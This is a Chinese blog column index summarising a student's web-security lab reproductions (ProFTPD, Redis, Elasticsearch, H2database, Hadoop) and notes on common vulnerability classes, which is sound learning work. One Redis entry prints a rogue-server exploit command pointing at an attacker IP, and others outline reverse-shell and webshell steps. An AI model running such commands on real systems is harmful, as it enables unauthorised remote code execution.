![](https://img-blog.csdnimg.cn/20190927151053287.png?x-oss-process=image/resize,m_fixed,h_224,w_224)
web安全
文章平均质量分 67
纯记录我学习的内容,从b站小迪的视频开始学习的
小狗学士
开心没脑子,人生没烦恼
展开
-
cve-2015-3306-proftpd-vulfocus
proftp是用于搭建基于ftp协议的应用软件ProFTPD是ProFTPD团队的一套开源的FTP服务器软件。该软件具有可配置性强、安全、稳定等特点。ProFTPD 1.3.5中的mod_copy模块允许远程攻击者通过站点cpfr和site cpto命令读取和写入任意文件。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。复制命令使用ProFTPD服务的权限执行,默认情况下,该服务在“nobody”用户的权限下运行。原创 2024-06-23 21:55:05 · 480 阅读 · 0 评论 -
服务攻防-数据库安全(数据库与漏洞利用)
如果要进行安全服务的渗透,我们先需要知道这个服务是否开启了,在数据库这个部分我们的判断方法主要有以下三种:- 扫描端口:对于不同的数据库来说,使用的端口也是不一样的,虽然可以更改数据库使用的端口,但是一般都不会修改的,一般可以用在线端口扫描,或者nmap当发现的确有这个服务但是没有扫描到相应端口的时候,考虑以下情况:- 端口不对外网展示,只对固定ip开放- WAF软件- 修改了默认的端口号。原创 2024-06-12 13:44:13 · 1395 阅读 · 0 评论 -
H2database 未授权访问 vulhub
打开之后是一个访问的页面,我们需要用java语言驱动让这个网站主动访问其他主机并且执行命令,我们需要用到一开始写在最前面的工具进行生成rmi。我出现的一个问题就是反弹不出去,我想了想可能是要在我的外网上面java生成命令才对,但是等我反应过来,我已经把容器关掉了。在驱动选择:javax.naming.InitialContext。被反弹shell的机子:可以就用kali,或者配一台外网服务器。出现下方红色的字体就成功了,同时你的主机检测到了这个网站的访问。虚拟机:kali+docker。原创 2024-06-12 13:32:59 · 353 阅读 · 0 评论 -
wooyun_2015_110216-Elasticsearch-vulfocus
ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。和CVE-2015-5531类似,该漏洞和备份仓库有关。在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。原创 2024-06-10 22:49:46 · 499 阅读 · 1 评论 -
hadoop未授权访问命令执行漏洞复现-vulfocus
Hadoop YARN(Yet Another Resource Negotiator)的ResourceManager是集群资源管理的核心组件,负责分配和管理集群资源以及调度作业。如果ResourceManager出现未授权访问漏洞,可能允许未经认证的用户访问或操作集群资源,这可能会导致数据泄露、资源滥用或拒绝服务攻击。在这个复现中就是在组件的ui界面上出现了未授权访问漏洞。原创 2024-06-10 22:42:41 · 723 阅读 · 1 评论 -
解决阿里云的端口添加安全组仍然无法扫描到
我用nmap扫了一下我的这个端口,发现主机是活跃的,但是有防火墙,我们列出云服务器上面的这个防火墙list,发现确实没有5566端口。这个是因为5566没有绑定相对应的服务导致的,如果用nc监控上该端口之后,就可以扫到了。在网上排除了安全组,防火墙,iptable之后,使用curl去连接本地的5566端口。添加list之后,要记得重启:- firewall-cmd –reload。发现用线上的网站扫不到这个端口,这个端口关了,但是没有更详细信息了。反应过来之后看到这些之后真的觉得自己是个呆的。原创 2024-06-10 22:37:05 · 641 阅读 · 0 评论 -
cve_2022_0543-redis沙盒漏洞复现 vulfocus
该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。原创 2024-06-10 22:33:13 · 559 阅读 · 0 评论 -
cve_2014_3120-Elasticsearch-rce-vulfocus靶场
老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。知识点普及:1、Elasticsearch,是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。原创 2024-06-10 22:26:11 · 501 阅读 · 2 评论 -
cnvd_2015_07557-redis未授权访问rce漏洞复现-vulfocus复现
python3 redis-master.py -r 目的ip -p 目的端口 -L 47.100.167.248 -P 1111 -f RedisModulesSDK/exp.so -c "id"python3 redis-master.py -r 目的ip -p 目的端口 -L 攻击者ip -P 对应端口 -f RedisModulesSDK/exp.so -c "id"出了一个file,搜了一下是由于这个文件用python3写的,要检查一下你的服务器上是不是python版本3.0以上,用。原创 2024-06-10 22:19:57 · 697 阅读 · 1 评论 -
CORSscanner&burp的插件jsonp-hunter&dnsub
有时候会出一些警告没引入变量之类的,用pip安装一下就可以了打开之后是这样的。原创 2024-06-05 20:32:17 · 558 阅读 · 0 评论 -
通用漏洞-crlf&url重定向&拒绝服务攻击
crlf是在数据包头头部采取一些回车加换行的操作,把自己的其他代码放到数据包中去覆盖掉原本的数据的方法,常配合xss漏洞使用,这个漏洞本身的造成危害并不严重,CRLF Injection又叫HTTP响应拆分/截断(HTTP Response Splitting)简称HRS。CRLF是CR和LF两个字符的拼接,它们分别代表”回车+换行”(\r\n)“,全称为Carriage Return/Line Feed”,十六进制编码分别为0x0d和0x0a,URL编码为%0D和%0A。原创 2024-06-04 17:58:37 · 543 阅读 · 0 评论 -
crlfuzz&crlfsuite
都是用来检测crlf漏洞的,原理也很简单,都是提交带有回车和行换的payload去测试,总体感觉crlfuzz更好用一点,因为可以看到整个payload,crlfsuite我暂时没找到这个访问的网址在哪里。原创 2024-06-04 17:52:42 · 306 阅读 · 2 评论 -
逻辑问题的基本知识总结&越权&支付&验证码&弱口令
垂直越权和水平越权,垂直越权的危害要比水平越权更大。原创 2024-06-03 14:43:16 · 1008 阅读 · 0 评论 -
大米cms安装&支付逻辑漏洞
链接:https://pan.baidu.com/s/1b-Z6RaFBZ6CsSIErY46Pyg?pwd=q8qq提取码:q8qq注意一下配置就可以了:php5.5+apache+mysql5.0,主要就是数据库版本要注意一下还是建议一开始就把数据库建好。原创 2024-06-03 14:30:55 · 428 阅读 · 0 评论 -
burp插件new_xp_capcha识别验证码的简易安装
大佬给了安装地址,我们直接下载百度网盘就可以,这个文件比较大400m左右,所以可以在pdd买一个一天的百度网盘会员了,要不然真的很考验心态。下完之后就是这样的,我们把python36加入一下环境变量,就可以正常使用了。选择add,选java,我这里选的是jdk8的包做的,提示。导入burpsuite中添加。我们下载一下这个jar的包。原创 2024-06-02 15:08:18 · 515 阅读 · 1 评论 -
jwtcracker下载&安装&出现错误
用于爆破jwt秘钥。原创 2024-05-23 11:51:14 · 313 阅读 · 0 评论 -
CTF网鼎杯2020朱雀组 thinkjava思路记录
1.代码分析BUUCTF在线评测 (buuoj.cn)打开ctf赛题之后,下载class文件,这个部分是不完整点的源码在sqldict中存在一个sql注入点,没有采用java的预编译,调用了这个的是在test中,同时,这个采用了swagger接口,这是一个测试页面的接口,我们直接尝试打开这个页面打开 网址/swagger-ui.html2.测试点1这里可以看见有三个可以测试的位置,参考源码中的文件地址,可以发现sql注入点存在在test这个测试中,我们dbName注入sql注原创 2024-05-23 09:45:45 · 1001 阅读 · 0 评论 -
SerializationDumper下载与使用
直接下载jar版本,从网址往下拖一下,不要用github加速,这个加速没半点p用的同时还会显示jar下载包失效。原创 2024-05-22 11:39:08 · 171 阅读 · 0 评论 -
ysoserial下载和使用
因为要用java打开jar格式的,所以如果下的是源文件,还需要打包,我试了试,我这个报错了,我也不知道哪里有问题。如果不报错可以自己试试打包的工作,说不定以后还有用到。所以我的建议是直接下载jar版本的。然后直接用java去运行就可以了。网址拖到下面就可以直接下载。原创 2024-05-22 11:24:20 · 457 阅读 · 0 评论 -
反序列化漏洞的入门知识总结
序列化与反序列化的目的是让数据在传输和处理的时候更简单,更快,反序列化出现在多种同面向对象语言所开发的网站和软件上,比如java,php,python等等,如果有语言一个都没学的,可以先去补一下面向对象编程的概念序列化:把对象转化成字节流(java),或者字符串(php,python)和数组(php)反序列:把字节流,字符串,数组转换成对象。原创 2024-05-21 20:58:53 · 878 阅读 · 0 评论 -
RCE漏洞相关知识总结
RCE是命令执行和代码执行漏洞的总称,区别在于代码执行是把函数中的字符串作为相关代码进行解析,命令执行是把函数中的字符串当做操作系统中的命令执行区别在于使用的函数和把函数中的字符串的解析方式不同。原创 2024-05-18 14:28:44 · 244 阅读 · 0 评论 -
RCE漏洞案例-PbootCMS1.3.2
下载下来之后先看下md文件我们小皮上面设置好网站和数据库之后,在对应文件进行修改然后导入数据库文件之后我们直接打开网站我在这个时候遇到了两个问题1.一直显示php版本过低,我换了很多次都没办法2.显示没有带上php扩展gd扩展,这个我查看扩展是带了的我解决1的方法是不要带127.0.0.1这个前标去访问,改一下网站的域名,最好不要带特殊字符比如.这些的,可能容易造成浏览器的错误2的解决方法是换php的版本,我从5.5换到了7.0,终于登上 了。原创 2024-05-18 13:27:50 · 801 阅读 · 0 评论 -
文件下载&读取&删除漏洞的知识总结
但是我还是摸索了点,现在官网的se版本在网上基本没有安装的帖子了,se版本在windows上面我也安装不了了,所以我是在脚本网站找到个人版,个人版安装页面可以调出来了,就是这个安装也是出了点问题,各位大佬可以自己试试。黑盒:下载可以看主要功能测试(要注意这个下载操作的url链接,要具有参数的才有机会出现漏洞,直链式的一般不会出现漏洞的),读取基本就看不出来了。由于删除操作的破坏性,一般用于重安装,比如案例里面通过删除安全锁来进行重安装,重安装可以把数据库连接到攻击者本地的主机上。等我有时间了我就给他补上。原创 2024-05-14 09:13:24 · 152 阅读 · 1 评论 -
文件读取漏洞案例-metinfo6
直接在网上搜索就可以了,这里需要注意的还是php的版本问题,这个真的很容易出问题,我的配置是php5.3+apache+mysql的组合,在安装的时候先访问install之后再设置基本内容之后就可以打开了。原创 2024-05-13 11:23:57 · 384 阅读 · 0 评论 -
文件下载漏洞案例-xhcms
这个漏洞严格意义上利用的条件比较苛刻,但是我们还是可以借着这个漏洞学习一下文件下载漏洞的特点。原创 2024-05-12 20:37:13 · 428 阅读 · 1 评论 -
xxe漏洞与xml语言相关知识总结
漏洞主要针对的是xml语言使用的,xml主要用于数据的传递和处理,主要还是数据在传输中没有进行一些过滤等等。原创 2024-05-04 21:55:56 · 304 阅读 · 0 评论 -
xxe案例三-phpshe
由于我实在找不到1.7,这里只能拿1.6看一看了,虽然没有漏洞,但是我们可以大致理解白盒追xxe漏洞的大致流程,要是感兴趣就可以接着看下去了。原创 2024-05-04 21:55:08 · 266 阅读 · 0 评论 -
xxe漏洞案例2-在线靶场jarvisoj:9882
网址。原创 2024-05-04 16:57:04 · 245 阅读 · 0 评论 -
xxe漏洞案例1-xxe lab for php
xxe lab是一个小的网站靶场,我们可以用这个网站对于xxe漏洞进行一个大致的了解。原创 2024-05-04 16:23:28 · 819 阅读 · 0 评论 -
csrf&ssrf漏洞相关知识总结
ssrf与csrf原创 2024-05-02 17:10:29 · 311 阅读 · 1 评论 -
XSS漏洞相关知识总结
xss主要是针对于js语言的漏洞,利用js语言解析攻击代码进行,从原理上来说,只要是js可以的操作,都可以做到。原创 2024-05-02 16:36:32 · 44 阅读 · 1 评论 -
文件上传漏洞总结
文件上传原创 2024-05-02 13:49:29 · 72 阅读 · 1 评论 -
sql注入相关的知识总结
一般采用社工爆破的方式当只知道表不知道列的时候,用偏移注入。原创 2024-04-29 17:52:28 · 222 阅读 · 1 评论